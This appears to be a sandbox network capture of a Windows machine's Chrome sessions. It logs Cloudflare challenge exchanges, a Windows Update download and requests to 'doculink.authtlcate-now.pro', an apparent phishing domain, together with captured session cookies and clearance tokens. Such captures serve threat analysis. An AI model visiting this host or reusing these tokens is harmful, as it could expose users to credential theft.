2024-04-25 13:30:41 UTC	363	IN	Data Raw: 6d 31 72 37 52 75 4e 72 5a 76 65 43 72 32 63 36 38 78 4d 76 48 31 4d 50 6c 79 75 72 48 38 73 72 2b 31 4e 7a 52 39 74 7a 32 35 66 58 66 36 64 76 35 77 77 62 65 36 73 6f 49 38 65 77 53 42 75 63 47 7a 75 7a 70 35 41 59 52 35 77 34 4c 45 76 45 58 39 41 45 45 47 74 38 45 42 67 55 4a 42 51 44 38 43 51 66 6e 2b 78 34 67 42 69 63 45 4c 78 6f 56 4c 69 67 4f 43 50 6f 56 45 6b 4d 36 4d 42 45 52 45 44 34 62 50 79 42 41 4c 6b 49 74 51 6a 42 47 44 44 55 78 56 7a 56 51 51 6a 67 55 52 6a 73 58 4e 54 6f 7a 51 43 78 62 52 7a 4d 6d 4b 44 64 71 49 31 30 2b 53 56 39 67 52 45 77 72 59 30 56 6c 64 6d 70 4d 61 6a 4e 52 54 6b 6c 71 64 57 49 37 65 31 39 6c 58 30 64 38 5a 6d 68 5a 62 6d 36 43 62 59 4a 6b 59 57 31 72 54 47 43 43 68 47 71 4c 61 4a 4e 2b 65 5a 4b 4d 63 6d 78 66 65 58 Data Ascii: m1r7RuNrZveCr2c68xMvH1MPlyurH8sr+1NzR9tz25fXf6dv5wwbe6soI8ewSBucGzuzp5AYR5w4LEvEX9AEEGt8EBgUJBQD8CQfn+x4gBicELxoVLigOCPoVEkM6MBERED4bPyBALkItQjBGDDUxVzVQQjgURjsXNTozQCxbRzMmKDdqI10+SV9gREwrY0VldmpMajNRTklqdWI7e19lX0d8ZmhZbm6CbYJkYW1rTGCChGqLaJN+eZKMcmxfeX
2024-04-25 13:30:41 UTC	1369	IN	Data Raw: 62 38 63 0d 0a 31 4e 58 4a 36 64 6e 37 36 2b 2f 5a 2f 50 37 67 30 64 33 55 39 4e 6a 56 31 41 48 5a 35 64 54 35 32 64 6e 6b 43 75 48 72 45 77 54 6e 47 50 6b 4c 2b 50 67 63 46 65 2f 33 34 41 6f 43 41 66 6b 57 42 78 62 6a 46 66 73 62 46 77 7a 39 43 76 30 72 42 66 76 77 4a 77 6b 73 43 69 63 4e 46 52 30 74 45 67 6b 72 4d 68 4d 4f 45 6a 63 5a 4a 68 6b 6d 48 53 59 56 4f 53 39 50 51 30 6f 69 4d 6b 39 4d 4d 6b 78 49 55 44 70 63 4c 6a 51 39 47 44 6c 53 50 68 78 51 57 54 6c 47 4e 56 63 38 58 44 6c 6b 50 48 42 47 54 6b 4e 6f 54 6d 68 58 61 47 68 73 56 6e 42 73 5a 31 31 7a 4f 57 78 67 50 47 5a 6e 5a 56 56 65 5a 46 31 38 52 49 68 67 6b 48 47 4a 65 32 4a 68 6b 47 65 59 6a 34 56 6c 69 34 69 50 66 5a 4f 43 6d 58 57 52 66 5a 61 44 68 58 61 56 69 34 6c 2b 6c 6d 32 6a 66 6f Data Ascii: b8c1NXJ6dn76+/Z/P7g0d3U9NjV1AHZ5dT52dnkCuHrEwTnGPkL+PgcFe/34AoCAfkWBxbjFfsbFwz9Cv0rBfvwJwksCicNFR0tEgkrMhMOEjcZJhkmHSYVOS9PQ0oiMk9MMkxIUDpcLjQ9GDlSPhxQWTlGNVc8XDlkPHBGTkNoTmhXaGhsVnBsZ11zOWxgPGZnZVVeZF18RIhgkHGJe2JhkGeYj4Vli4iPfZOCmXWRfZaDhXaVi4l+lm2jfo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49779	104.17.3.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:41 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/210437745:1714048022:Dj_BjBVN3qSjjU0vh97END1ep2-gHjFWxN7G3ScUWQE/879eb051688c6769/8c6b23695c6ef4f HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:42 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Thu, 25 Apr 2024 13:30:42 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: nYSJVQn7gkOvgg1kySOgAA==$uKA8w9qFXupVDJLXK1i1Eg== Server: cloudflare CF-RAY: 879eb06ccafe454c-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:42 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49780	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HhnApw5rZFbWt2c&MD=TryG3spo HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-25 13:30:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: ed2a68e7-09a4-4fed-ba2e-ea1e289e49bc MS-RequestId: 8dd7da6b-8b95-4d98-bd62-22008161300c MS-CV: OQ6oq1hr4Ee7zydq.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 25 Apr 2024 13:30:57 GMT Connection: close Content-Length: 25457
2024-04-25 13:30:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-25 13:30:58 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49782	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:09 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/210437745:1714048022:Dj_BjBVN3qSjjU0vh97END1ep2-gHjFWxN7G3ScUWQE/879eb051688c6769/8c6b23695c6ef4f HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31778 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 8c6b23695c6ef4f sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:31:09 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 65 62 30 35 31 36 38 38 63 36 37 36 39 3d 6d 62 77 64 78 56 50 33 55 73 68 43 77 56 65 62 32 72 39 66 37 76 39 6d 37 77 77 68 56 66 50 69 32 4f 39 76 38 68 4f 67 4f 37 76 47 62 76 4f 57 4e 4f 73 76 39 37 4f 75 4f 68 71 6b 56 68 66 50 58 32 4f 32 33 32 77 4f 34 68 77 4f 49 64 56 72 4f 77 41 6b 30 76 76 77 64 73 62 50 53 4f 32 73 62 4f 33 79 52 67 67 37 68 4b 41 50 52 24 4f 44 4a 4c 74 51 32 4f 6e 76 50 43 4f 4b 6b 39 74 4f 31 30 30 64 4f 39 47 4f 39 57 77 4f 39 68 6b 7a 4f 38 66 4f 47 6b 4f 34 4e 76 50 34 56 76 52 68 70 6b 50 54 56 77 4f 31 66 66 78 55 74 77 4f 7a 32 4f 78 4f 4d 43 56 4b 76 76 48 5a 4b 54 35 61 4e 67 4e 4f 50 54 42 4f 4d 44 75 66 31 4e 4e 68 58 66 68 56 55 51 34 31 56 36 36 68 37 54 6a 63 42 4a 6c 56 44 4f 56 6f 48 55 32 4f Data Ascii: v_879eb051688c6769=mbwdxVP3UshCwVeb2r9f7v9m7wwhVfPi2O9v8hOgO7vGbvOWNOsv97OuOhqkVhfPX2O232wO4hwOIdVrOwAk0vvwdsbPSO2sbO3yRgg7hKAPR$ODJLtQ2OnvPCOKk9tO100dO9GO9WwO9hkzO8fOGkO4NvP4VvRhpkPTVwO1ffxUtwOz2OxOMCVKvvHZKT5aNgNOPTBOMDuf1NNhXfhVUQ41V66h7TjcBJlVDOVoHU2O
2024-04-25 13:31:09 UTC	15394	OUT	Data Raw: 50 62 4f 24 4f 6d 4f 50 64 32 4c 4b 5a 64 41 4e 51 64 49 6b 34 68 39 64 39 73 4f 36 4f 4f 62 39 55 50 32 4f 69 64 4e 62 4f 6e 4f 61 64 4e 66 4b 42 4f 57 76 39 52 4f 47 4f 7a 76 4e 68 4f 54 4f 31 76 50 4d 4f 55 4f 5a 64 56 66 4f 31 4f 33 6b 4e 72 4f 5a 4f 50 6b 50 33 4f 77 4f 62 76 4e 61 35 49 4f 70 4f 4e 76 4f 37 4f 45 76 56 6b 4f 24 4f 56 77 56 4d 50 65 4f 49 6b 47 6b 50 4c 64 34 33 56 55 50 57 4f 4e 76 47 4f 56 79 4f 57 4d 50 4f 4f 50 4f 5a 57 56 64 39 53 4f 6e 76 4f 6b 4f 69 4f 39 76 32 4d 50 49 4f 5a 64 4e 66 4f 39 62 6d 4f 77 72 4f 55 4f 73 6b 50 4f 4f 2d 4f 7a 6b 39 76 64 76 4f 45 6a 74 33 50 51 4f 44 76 7a 52 56 6f 4f 34 33 39 77 50 35 63 53 6b 38 31 50 38 46 69 24 4f 77 56 71 46 68 64 73 33 76 24 4f 6e 6b 39 7a 50 75 7a 43 77 50 7a 4f 75 6b 53 4f Data Ascii: PbO$OmOPd2LKZdANQdIk4h9d9sO6OOb9UP2OidNbOnOadNfKBOWv9ROGOzvNhOTO1vPMOUOZdVfO1O3kNrOZOPkP3OwObvNa5IOpONvO7OEvVkO$OVwVMPeOIkGkPLd43VUPWONvGOVyOWMPOOPOZWVd9SOnvOkOiO9v2MPIOZdNfO9bmOwrOUOskPOO-Ozk9vdvOEjt3PQODvzRVoO439wP5cSk81P8Fi$OwVqFhds3v$Onk9zPuzCwPzOukSO
2024-04-25 13:31:10 UTC	1246	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out-s: pa+BMuIIESvSg1mPQP829XHrmk94b3ihU8cxIniyP81JPAWilGxQ7Uzqv1cJNNHqNVPNbq1lWNZP+x2INhhFEPbHtu60TV3u8+TI6t2kRpRRxKSBwZ9gh/hTSfftwUECzuEv8cpK6tB0A9IMJ+5s+5n2UtXCcqNybInjXlmy67fhqQBF/fLm1ueguSK8r3I3DopdXBzqgKDLP/OV3+vEzUO0i0+PTt+8ocpw9OihLreyEDoHHcpbcSLuX9bQaLM1pQYXmuKQ2AXZH7sPXqYYS9yzlpJ92M5K363w8JXL5MbWlmm8iLlYrfaq8rcX6oBH1CEb4BJaY18k1uTFZLKpkjl3ZvuypW0lAcpmCPfwLat4akIMe3XNSAob7J3S1jNgWT81h/XRKibhciMhKG7RaJlFDVWEFoEF2DKxvSjHhC7AtxMCF1uqx2GRy7s5oIwJIgp7BVnzqG1QmouubCsnZurFczEAaGKpUbVGjbvwJQwUmzW90x/eiBoeZJBway0TLS2OPTJo/lXRh6+pouUI5u5ODqvQH5a+BTk935zmjURMjInoNQ2sw5fasdQWrb4+2o8T1vJ/ZWhOD6XJJOC6gCP4/iD6WqGn3jTigp1ecobFCwemsZTSwd/9P80ZuFlZ0aTtKqMRKOq2gLqAR7sQ7+lPtkaUjvPAAH1PM+mA6hyjWDR4EqxO3z6Vra10tuJtD1ZtbHrDqMk7cM02v49o+SculIDiMbB6vaTAzq/kPWNsgXXZdYHIA1RiMEyx/OItsCns1uwjOFelWfA9i043iw==$ruiTXueqAZZsMUmobz/PKg== cf-chl-out: Rf2mfZ7wjJoIzUu+rDhpeneQhU5GOYHi4VdD5hEMBlVoRyN8KeTajUDFdKRfFK9Wz8YOoiMLWROXkLuuU5NGsXNK47FLdc9oopbQ8tEmnnffO2qYa0/tmUnZQABmVWkk$at66Mn2i8A4ehcLqp1YKJg== vary: accept-encoding Server: cloudflare CF-RAY: 879eb11a7f5c44d7-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:10 UTC	123	IN	Data Raw: 31 63 34 0d 0a 59 58 6c 70 6a 55 31 64 54 57 57 42 54 6d 4a 6a 66 34 35 6e 62 58 46 75 66 46 74 34 6b 46 68 76 65 6e 36 50 68 4b 53 59 63 6d 47 53 69 48 32 67 68 34 56 73 6a 4a 70 7a 6f 34 79 78 6a 61 6d 30 74 5a 47 74 71 6e 6c 39 6d 37 4e 36 67 38 43 44 6c 5a 6d 32 77 73 43 73 66 70 36 38 73 49 32 35 6b 4b 50 51 6c 62 43 72 6f 61 32 74 7a 4e 61 63 74 4e 48 62 74 37 Data Ascii: 1c4YXlpjU1dTWWBTmJjf45nbXFufFt4kFhven6PhKSYcmGSiH2gh4VsjJpzo4yxjam0tZGtqnl9m7N6g8CDlZm2wsCsfp68sI25kKPQlbCroa2tzNactNHbt7
2024-04-25 13:31:10 UTC	336	IN	Data Raw: 69 63 34 65 48 57 72 36 47 38 31 62 71 31 71 74 6e 58 36 2b 36 38 77 2b 72 46 74 72 2f 75 79 71 7a 53 38 76 62 6f 31 2b 2b 7a 7a 4e 72 36 32 4e 69 35 78 67 71 38 43 65 54 66 32 42 41 4d 45 74 7a 69 30 2b 54 57 33 77 66 73 35 68 6b 54 37 65 6a 32 43 75 44 55 46 39 7a 31 33 64 30 6f 47 65 6f 66 4c 41 34 4c 4b 78 45 4b 4e 4f 38 4d 4b 52 51 4e 49 76 6b 4c 4a 77 59 52 4e 67 73 75 50 69 30 62 47 7a 34 39 51 44 30 6e 50 45 51 72 42 77 73 78 4f 55 59 4e 50 68 41 65 44 30 34 6d 51 79 59 6b 58 56 45 65 53 31 4d 71 56 32 56 41 4f 46 49 67 4f 31 34 69 49 32 46 59 59 6b 77 70 62 30 35 48 64 57 56 34 55 7a 52 6c 54 6a 64 51 62 6c 52 74 61 58 4e 65 57 6c 4a 65 5a 31 4a 58 52 46 5a 72 57 49 2b 46 65 47 39 2b 67 58 53 4e 62 4a 46 56 56 31 6c 59 69 34 69 58 58 6c 79 61 57 Data Ascii: ic4eHWr6G81bq1qtnX6+68w+rFtr/uyqzS8vbo1++zzNr62Ni5xgq8CeTf2BAMEtzi0+TW3wfs5hkT7ej2CuDUF9z13d0oGeofLA4LKxEKNO8MKRQNIvkLJwYRNgsuPi0bGz49QD0nPEQrBwsxOUYNPhAeD04mQyYkXVEeS1MqV2VAOFIgO14iI2FYYkwpb05HdWV4UzRlTjdQblRtaXNeWlJeZ1JXRFZrWI+FeG9+gXSNbJFVV1lYi4iXXlyaW
2024-04-25 13:31:10 UTC	1369	IN	Data Raw: 66 66 34 0d 0a 6c 38 43 34 7a 4f 4b 61 32 72 72 4f 6d 61 48 6a 34 73 62 43 7a 71 7a 77 36 4f 33 4f 78 2b 7a 32 76 74 62 49 7a 4f 58 48 73 39 62 4a 38 73 76 31 32 38 4c 57 41 64 4c 45 38 38 66 67 2f 63 6e 74 35 67 38 49 34 4e 44 38 34 68 4c 31 36 2f 63 50 34 76 6e 57 39 51 41 4e 2f 74 34 6b 4a 52 7a 36 33 67 48 6d 41 2f 49 72 41 52 76 2b 4b 53 72 6e 2b 7a 50 7a 43 4f 34 31 4c 79 4d 48 50 50 73 52 44 6a 2f 2b 41 42 52 43 47 41 4d 46 45 54 38 39 4f 43 4d 74 50 43 70 4e 48 69 41 6e 51 55 38 65 4e 69 77 73 49 68 68 61 4d 55 73 79 47 6c 6b 59 4d 52 77 35 54 7a 4a 6e 50 54 78 73 4b 47 64 45 59 6a 34 36 51 31 78 6f 4e 46 64 43 62 54 68 30 66 48 78 4a 4e 7a 79 42 61 6e 6f 37 68 44 65 41 56 6e 68 52 5a 46 35 33 58 46 64 4d 65 33 4b 4a 53 59 4e 4f 55 32 69 45 6a 70 Data Ascii: ff4l8C4zOKa2rrOmaHj4sbCzqzw6O3Ox+z2vtbIzOXHs9bJ8sv128LWAdLE88fg/cnt5g8I4ND84hL16/cP4vnW9QAN/t4kJRz63gHmA/IrARv+KSrn+zPzCO41LyMHPPsRDj/+ABRCGAMFET89OCMtPCpNHiAnQU8eNiwsIhhaMUsyGlkYMRw5TzJnPTxsKGdEYj46Q1xoNFdCbTh0fHxJNzyBano7hDeAVnhRZF53XFdMe3KJSYNOU2iEjp
2024-04-25 13:31:10 UTC	1369	IN	Data Raw: 79 35 37 50 72 4f 44 45 6f 4b 58 6c 34 37 7a 66 70 4d 58 74 71 73 66 79 32 38 76 53 31 38 6a 70 31 64 6e 74 39 63 2f 76 7a 66 48 37 2b 2f 76 2b 42 66 72 57 38 72 2f 67 42 73 66 36 35 73 62 59 38 65 6a 63 38 51 66 68 36 75 72 5a 42 74 62 71 38 39 73 61 47 68 66 76 49 52 34 45 47 79 62 6d 43 79 62 2b 4c 50 63 4b 43 43 55 51 45 2f 76 6d 4e 7a 54 78 46 77 55 72 47 69 38 4b 50 68 63 7a 43 6a 45 63 41 79 64 43 47 30 67 55 4a 69 52 42 4c 43 30 59 41 31 45 63 52 69 63 68 52 68 67 55 46 46 6c 47 57 6a 6f 36 4c 54 73 39 47 6a 67 76 4a 43 59 6c 57 46 56 6b 4b 79 6c 6e 4a 53 30 39 55 56 4d 78 52 32 68 30 56 32 56 44 62 48 31 32 5a 32 67 37 61 6c 6c 68 65 30 46 42 63 59 69 47 64 56 35 59 52 59 35 46 59 6d 46 76 63 58 57 46 6b 47 32 47 5a 6e 70 6b 65 70 75 63 62 49 71 Data Ascii: y57PrODEoKXl47zfpMXtqsfy28vS18jp1dnt9c/vzfH7+/v+BfrW8r/gBsf65sbY8ejc8Qfh6urZBtbq89saGhfvIR4EGybmCyb+LPcKCCUQE/vmNzTxFwUrGi8KPhczCjEcAydCG0gUJiRBLC0YA1EcRichRhgUFFlGWjo6LTs9GjgvJCYlWFVkKylnJS09UVMxR2h0V2VDbH12Z2g7allhe0FBcYiGdV5YRY5FYmFvcXWFkG2GZnpkepucbIq
2024-04-25 13:31:10 UTC	1353	IN	Data Raw: 4b 69 6a 30 2b 79 72 6f 39 62 6d 36 2f 48 6f 72 4c 53 76 31 2b 37 77 34 66 44 7a 35 50 72 64 39 39 58 79 34 37 33 73 41 2b 36 2f 42 41 59 44 78 41 67 50 39 78 48 4e 44 2f 49 4e 41 42 63 42 45 4f 6a 50 38 50 66 72 43 2f 6b 41 34 42 45 4c 33 50 63 6a 47 65 4c 2b 49 78 34 6f 4c 52 6f 6c 48 50 6f 7a 4b 4f 73 64 4d 69 30 72 44 79 34 45 39 2f 6b 74 39 6a 63 32 45 2f 6f 78 4f 30 4d 7a 50 54 38 59 51 6a 30 64 43 79 46 46 53 55 6f 6b 51 41 63 50 4d 45 4a 52 4f 78 6b 5a 55 31 30 66 54 45 49 55 56 31 56 45 59 6a 31 62 4f 43 49 69 58 44 78 65 57 47 4a 44 58 6b 5a 69 56 6b 38 75 5a 58 52 4e 61 48 56 70 66 31 6c 73 55 6e 70 4d 51 57 56 2f 59 55 4a 44 57 59 5a 32 62 6b 35 4f 65 6b 4f 53 61 34 5a 51 63 49 52 55 57 56 5a 62 69 5a 53 48 6c 35 4f 59 6f 56 57 63 6e 56 2b 63 Data Ascii: Kij0+yro9bm6/HorLSv1+7w4fDz5Prd99Xy473sA+6/BAYDxAgP9xHND/INABcBEOjP8PfrC/kA4BEL3PcjGeL+Ix4oLRolHPozKOsdMi0rDy4E9/kt9jc2E/oxO0MzPT8YQj0dCyFFSUokQAcPMEJROxkZU10fTEIUV1VEYj1bOCIiXDxeWGJDXkZiVk8uZXRNaHVpf1lsUnpMQWV/YUJDWYZ2bk5OekOSa4ZQcIRUWVZbiZSHl5OYoVWcnV+c
2024-04-25 13:31:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49783	104.17.3.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:10 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/210437745:1714048022:Dj_BjBVN3qSjjU0vh97END1ep2-gHjFWxN7G3ScUWQE/879eb051688c6769/8c6b23695c6ef4f HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:31:10 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Thu, 25 Apr 2024 13:31:10 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: VNPmUmWRy5ddFwm3UKuwbw==$pTsFkJJlIN0jxyhgMnhYeA== Server: cloudflare CF-RAY: 879eb11e8ad14542-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:10 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49784	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:10 UTC	736	OUT	POST /cdn-cgi/challenge-platform/h/b/rc/879eb051688c6769 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive Content-Length: 618 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://doculink.authtlcate-now.pro Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa
2024-04-25 13:31:10 UTC	618	OUT	Data Raw: 7b 22 73 69 74 65 6b 65 79 22 3a 22 30 78 34 41 41 41 41 41 41 41 59 4a 4d 54 65 4d 45 32 77 52 33 37 32 67 22 2c 22 73 65 63 6f 6e 64 61 72 79 54 6f 6b 65 6e 22 3a 22 30 2e 74 73 6f 32 5a 30 73 4e 71 4d 4e 59 54 39 79 5a 72 57 69 55 79 75 52 44 36 6a 4d 71 44 35 57 46 42 78 71 56 44 69 6f 46 4f 53 43 64 6b 70 54 5a 6f 4f 59 2d 38 76 37 2d 43 65 5a 32 55 2d 38 4a 36 4a 78 47 4c 37 6b 6c 5f 78 30 39 46 59 61 35 61 67 59 75 76 70 70 45 2d 69 6b 6a 6e 47 4e 64 78 44 53 43 7a 4b 5a 52 48 5a 77 69 4c 66 6e 74 38 6a 50 72 33 37 34 61 6c 48 66 46 38 77 61 55 79 2d 73 53 59 36 31 61 65 75 4d 62 55 6f 62 77 71 64 4b 70 78 53 75 6b 54 6a 6e 4f 4c 34 41 76 38 58 69 62 43 71 2d 70 52 37 63 75 30 54 4b 77 76 53 74 4d 6b 4a 6b 4f 39 54 67 4d 38 70 36 56 63 46 74 49 38 Data Ascii: {"sitekey":"0x4AAAAAAAYJMTeME2wR372g","secondaryToken":"0.tso2Z0sNqMNYT9yZrWiUyuRD6jMqD5WFBxqVDioFOSCdkpTZoOY-8v7-CeZ2U-8J6JxGL7kl_x09FYa5agYuvppE-ikjnGNdxDSCzKZRHZwiLfnt8jPr374alHfF8waUy-sSY61aeuMbUobwqdKpxSukTjnOL4Av8XibCq-pR7cu0TKwvStMkJkO9TgM8p6VcFtI8
2024-04-25 13:31:10 UTC	931	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:10 GMT Content-Type: application/json Content-Length: 21 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw; path=/; expires=Fri, 25-Apr-25 13:31:10 GMT; domain=.authtlcate-now.pro; HttpOnly; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w7LJIbu%2BPZhZYC3rbyogryImmJvmHaxf2yv66r%2BLajvWmqb8PJDEJkk2Crn1E5YMYyRiDC%2F8opbSV9auN7kYRkC5vmWPfHl4nuWBG6AnDzuGDi2GiUEanoUnRLcnpUTJ1JUSinA%2BAFnIyQkp81g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb11dbeaeadb0-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:10 UTC	21	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 72 65 64 65 65 6d 65 64 22 7d Data Ascii: {"status":"redeemed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49785	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
